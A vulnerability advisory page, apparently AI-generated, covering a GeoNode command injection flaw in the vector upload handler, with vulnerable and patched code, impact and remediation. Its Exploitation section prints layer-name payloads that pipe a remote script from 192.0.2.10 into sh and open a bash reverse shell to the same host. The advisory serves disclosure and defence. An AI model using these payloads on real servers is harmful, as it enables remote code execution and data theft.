CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-33050

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

Alon Barad
Alon Barad
Software Engineer

Nov 7, 2026·9 min read·2 visits

Executive Summary (TL;DR)

GeoNode prior to 5.1.0 concatenates unsanitized vector layer names into an ogr2ogr command string and executes it via subprocess.Popen with shell=True, allowing authenticated users with upload permissions to achieve remote code execution.

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Vulnerability Overview

GeoNode is an open-source geospatial content management system written in Python and built on the Django framework. A core function of the platform is allowing users to upload, process, and publish geospatial datasets, including vector formats such as ESRI Shapefiles, GeoJSON, KML, and GeoPackage. During the ingestion workflow, GeoNode relies on the GDAL/OGR command-line utility ogr2ogr to translate and import vector layers into a backend PostGIS/PostgreSQL datastore.

In GeoNode versions prior to 5.1.0, the vector upload handler located at geonode/upload/handlers/common/vector.py suffers from an Operating System Command Injection vulnerability (CWE-78). When preparing the command-line arguments for ogr2ogr, the application extracts metadata from the uploaded dataset—specifically the layer name (original_name), an alternate target name (alternate), and the file path (input_file)—and interpolates them directly into a command string without sanitization.

This constructed command string is subsequently executed by import_with_ogr2ogr() using Python's subprocess.Popen with the shell=True parameter enabled. Because the underlying operating system shell (/bin/sh) interprets the command string, an authenticated attacker with basic dataset upload permissions can inject shell metacharacters or command substitution sequences into the vector layer name.

Successful exploitation allows the attacker to execute arbitrary operating system commands within the context of the GeoNode web application or the asynchronous Celery worker process. This access exposes sensitive configuration data, database credentials, and all stored geospatial assets.

Root Cause Analysis

The root cause of CVE-2026-33050 is the combination of unsafe string formatting during command construction and the invocation of a system shell via subprocess.Popen(..., shell=True).

In geonode/upload/handlers/common/vector.py, the function create_ogr2ogr_command() builds the argument string for the ogr2ogr binary using Python f-strings. Specifically, the function appends the input file path, the -nln (new layer name) flag with the alternate variable, and the original_name variable directly into the options string. While original_name and input_file are wrapped in literal double quotes ("), alternate is inserted without any quoting.

Enclosing user-controlled input in double quotes is insufficient to prevent command injection when passed to a POSIX shell. Within double quotes, the shell still evaluates command substitution expressions enclosed in $() or backticks (`). Furthermore, if the attacker includes a literal double quote (") inside original_name, they can break out of the quoted argument boundary entirely and inject arbitrary flags or shell control operators such as ;, |, &&, or ||.

The vulnerability is triggered inside import_with_ogr2ogr(). Although the code splits the options string on spaces ([ogr_exe] + options.split(" ")), it immediately rejoins the list back into a single space-delimited string (" ".join(commands)) before passing it to Popen(..., shell=True). This split-and-join operation is a no-op that preserves all injected shell syntax, resulting in direct evaluation by /bin/sh -c.

Code Analysis

The vulnerability was remediated in commit 1408290c0bb54872924a9b334a516db9758a2180. The patch modifies geonode/upload/handlers/common/vector.py in two key locations: argument construction in create_ogr2ogr_command() and process execution in import_with_ogr2ogr().

Vulnerable Code

Prior to the fix, create_ogr2ogr_command() formatted user-influenced variables directly into the command string, and import_with_ogr2ogr() executed the command pipeline using shell=True:

# File: geonode/upload/handlers/common/vector.py (Pre-Patch)
 
def create_ogr2ogr_command(files, original_name, ovverwrite_layer, alternate, **kwargs):
    # ...
    input_file = files.get("temp_vrt_file") or files.get("base_file")
    # VULNERABLE: Direct string interpolation without shell escaping
    options += f'"{input_file}"' + f" -lco FID={DEFAULT_PK_COLUMN_NAME} "
    options += f'-nln {alternate} "{original_name}"'
    # ...
 
def import_with_ogr2ogr(files, original_name, ovverwrite_layer, alternate, execution_id=None):
    try:
        ogr_exe = shutil.which("ogr2ogr")
        options = orchestrator.load_handler(handler_module_path).create_ogr2ogr_command(
            files, original_name, ovverwrite_layer, alternate, execution_id=execution_id
        )
        _datastore = settings.DATABASES["datastore"]
 
        copy_with_dump = ast.literal_eval(os.getenv("OGR2OGR_COPY_WITH_DUMP", "False"))
        if copy_with_dump:
            # VULNERABLE: Appending shell pipe and inline password to command string
            options += f" | PGPASSWORD={_datastore['PASSWORD']} psql -d {_datastore['NAME']} -h {_datastore['HOST']} -p {_datastore.get('PORT', 5432)} -U {_datastore['USER']} -f -"
 
        commands = [ogr_exe] + options.split(" ")
        # VULNERABLE: Rejoining list and executing via system shell
        process = Popen(" ".join(commands), stdout=PIPE, stderr=PIPE, shell=True)
        stdout, stderr = process.communicate()

Patched Code

The patch introduces the shlex module to properly escape arguments and parse the command string into an argument vector (argv), eliminating the need for shell=True:

# File: geonode/upload/handlers/common/vector.py (Post-Patch)
import shlex
 
def create_ogr2ogr_command(files, original_name, ovverwrite_layer, alternate, **kwargs):
    # ...
    input_file = files.get("temp_vrt_file") or files.get("base_file")
    # FIXED: All dynamic arguments are escaped using shlex.quote()
    options += f" {shlex.quote(input_file)} -lco FID={DEFAULT_PK_COLUMN_NAME} "
    options += f" -nln {shlex.quote(alternate)} {shlex.quote(original_name)}"
    # ...
 
def import_with_ogr2ogr(files, original_name, ovverwrite_layer, alternate, execution_id=None):
    try:
        ogr_exe = shutil.which("ogr2ogr") or "ogr2ogr"
        options_str = orchestrator.load_handler(handler_module_path).create_ogr2ogr_command(
            files, original_name, ovverwrite_layer, alternate, execution_id=execution_id
        )
 
        # FIXED: Tokenize the escaped options string into a discrete argument list
        cmd_list = [ogr_exe] + shlex.split(options_str)
 
        copy_with_dump = ast.literal_eval(os.getenv("OGR2OGR_COPY_WITH_DUMP", "False"))
        if copy_with_dump:
            _datastore = settings.DATABASES["datastore"]
            psql_cmd = ["psql", "-d", _datastore["NAME"], "-h", _datastore["HOST"], "-U", _datastore["USER"], "-f", "-"]
 
            # FIXED: Pass database credentials via environment dictionary instead of command line
            env = os.environ.copy()
            env["PGPASSWORD"] = _datastore["PASSWORD"]
 
            # FIXED: Chain processes in Python using stdout/stdin pipes without invoking a shell
            p1 = Popen(cmd_list, stdout=PIPE, stderr=PIPE)
            p2 = Popen(psql_cmd, stdin=p1.stdout, stdout=PIPE, stderr=PIPE, env=env)
 
            p1.stdout.close()
            stdout, stderr = p2.communicate()
        else:
            # FIXED: Execute argument list directly with shell=False
            process = Popen(cmd_list, stdout=PIPE, stderr=PIPE, shell=False)
            stdout, stderr = process.communicate()

Fix Completeness Assessment

The remediation applies defense-in-depth by addressing both argument construction and command execution. Wrapping input_file, alternate, and original_name in shlex.quote() ensures that when shlex.split() parses options_str, each variable is preserved as a single, literal token regardless of embedded spaces or quotes. Executing cmd_list with shell=False ensures the execve system call is invoked directly on the ogr2ogr binary without invoking /bin/sh, neutralizing shell metacharacter injection.

> [!NOTE] > In the copy_with_dump branch, the patch also removes the hardcoded -p port flag from psql_cmd while migrating PGPASSWORD into the env dictionary. Passing PGPASSWORD via env prevents local users on the host from reading the database password from the process table (ps aux). However, if original_name begins with a leading hyphen (-), ogr2ogr could still interpret it as a command-line option (Argument Injection, CWE-88), though it is positioned at the end of the command string.

Exploitation

Exploiting CVE-2026-33050 requires an authenticated user account with permissions to upload geospatial vector datasets. In many standard GeoNode deployments, registered users are granted permission to upload layers by default.

Attack Methodology

  1. Payload Creation: The attacker creates a valid vector dataset (such as a minimal GeoJSON file or ESRI Shapefile) where the layer name contains a shell command injection payload. Two primary injection techniques apply:

    • Command Substitution: Embedding $(...) or backticks inside the layer name, which executes even within double quotes.
      layer_$(curl -s http://192.0.2.10/payload.sh | sh)
    • Quote Escaping: Breaking out of the surrounding double quotes in original_name and terminating the remainder of the ogr2ogr command with a comment (#).
      test" -nln pwn; /bin/bash -c 'bash -i >& /dev/tcp/192.0.2.10/4444 0>&1'; #
  2. Dataset Upload: The attacker submits the crafted vector file through the GeoNode web interface upload form or directly via the REST API endpoint /api/v2/uploads/.

  3. Command Execution: During the ingestion phase, the GeoNode upload orchestrator invokes VectorFileHandler. When import_with_ogr2ogr() executes, the constructed string passed to /bin/sh -c resembles:

    /usr/bin/ogr2ogr ... "/tmp/upload/file.geojson" -lco FID=ogc_fid -nln layer_name "test" -nln pwn; /bin/bash -c 'bash -i >& /dev/tcp/192.0.2.10/4444 0>&1'; #"
  4. Post-Exploitation: The shell executes ogr2ogr (which may fail or exit cleanly), followed immediately by the attacker's command. The payload executes with the user and group privileges of the running Django web server or Celery worker process.

Impact Assessment

CVE-2026-33050 is rated 8.8 (High) under CVSS v3.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The vulnerability is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), requiring only low-privileged authentication (PR:L) and no user interaction (UI:N).

Concrete Security Impact

  • Confidentiality (High): The attacker gains full read access to the application environment. Because GeoNode requires direct access to PostgreSQL/PostGIS datastores and GeoServer administration APIs, an attacker can extract database credentials (DATABASES['datastore']), Django SECRET_KEY values, OAuth2 tokens, and all private geospatial layers stored on the server.
  • Integrity (High): With code execution as the geonode or celery service account, an attacker can modify application source code, inject persistent web shells into the Django WSGI pipeline, alter stored GIS datasets in PostGIS, or manipulate GeoServer configurations.
  • Availability (High): The attacker can terminate application worker processes, drop database tables, delete uploaded media files from disk, or exhaust host CPU and memory resources.

At the time of disclosure, CVE-2026-33050 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation campaigns have been reported.

Remediation

Patching Guidance

Administrators running any version of GeoNode prior to 5.1.0 (including the 2.x, 3.x, 4.x, and 5.0.x branches) must upgrade to GeoNode 5.1.0 or later. If GeoNode is managed via pip, upgrade the package using:

pip install --upgrade "geonode>=5.1.0"

For Docker-based deployments, update the base image tag in your Dockerfile or docker-compose.yml to reference the 5.1.0 release or newer, rebuild the containers, and restart both the django and celery services.

Workarounds & Legacy Backporting

If an immediate upgrade to GeoNode 5.1.0 is not feasible due to version dependencies:

  1. Manual Patch Backporting: Apply the changes from commit 1408290c0bb54872924a9b334a516db9758a2180 directly to geonode/upload/handlers/common/vector.py. Ensure that shlex.quote() is applied to input_file, alternate, and original_name, and replace Popen(..., shell=True) with Popen(shlex.split(...), shell=False).
  2. Access Control Restrictions: Restrict dataset upload permissions inside the GeoNode administration panel exclusively to trusted administrators. Disable public user self-registration (ACCOUNT_OPEN_SIGNUP = False) if untrusted users can otherwise register and obtain upload privileges.
  3. Container & Host Hardening: Ensure the GeoNode web application and Celery worker containers run as a non-root user, enforce read-only root filesystems where possible, and apply egress firewall rules to block unexpected outbound connections from worker nodes.

Official Patches

GeoNodeGitHub Security Advisory GHSA-9fpx-fr6j-2vh6
GeoNodeOfficial Remediation Commit
GeoNodeGeoNode 5.1.0 Release

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

GeoNode (< 5.1.0)

Affected Versions Detail

Product
Affected Versions
Fixed Version
geonode
GeoNode
< 5.1.05.1.0
AttributeDetail
Vulnerability TypeCWE-78: OS Command Injection
CVSS v3.1 Score8.8 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Attack VectorNetwork (Authenticated Vector Dataset Upload)
Affected Componentgeonode/upload/handlers/common/vector.py
Vulnerable VersionsGeoNode < 5.1.0
Patched VersionGeoNode 5.1.0
Exploit StatusNo known public exploits; patch diff available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1059.004Unix Shell
Execution
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Vulnerability Timeline

Fix committed to GeoNode repository (commit 1408290c0bb54872924a9b334a516db9758a2180)
2026-02-27
GitHub Security Advisory GHSA-9fpx-fr6j-2vh6 and CVE-2026-33050 published
2026-11-06
NVD indexes CVE-2026-33050 with a CVSS v3.1 base score of 8.8 (High)
2026-11-06

References & Sources

  • [1]GitHub Security Advisory: GHSA-9fpx-fr6j-2vh6
  • [2]GeoNode Fix Commit 1408290c0bb54872924a9b334a516db9758a2180
  • [3]GeoNode 5.1.0 Release Notes
  • [4]CVE.org Record: CVE-2026-33050
  • [5]GeoNode Official GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 3 hours ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 4 hours ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 5 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
3 views•10 min read
•about 6 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
4 views•11 min read
•about 7 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read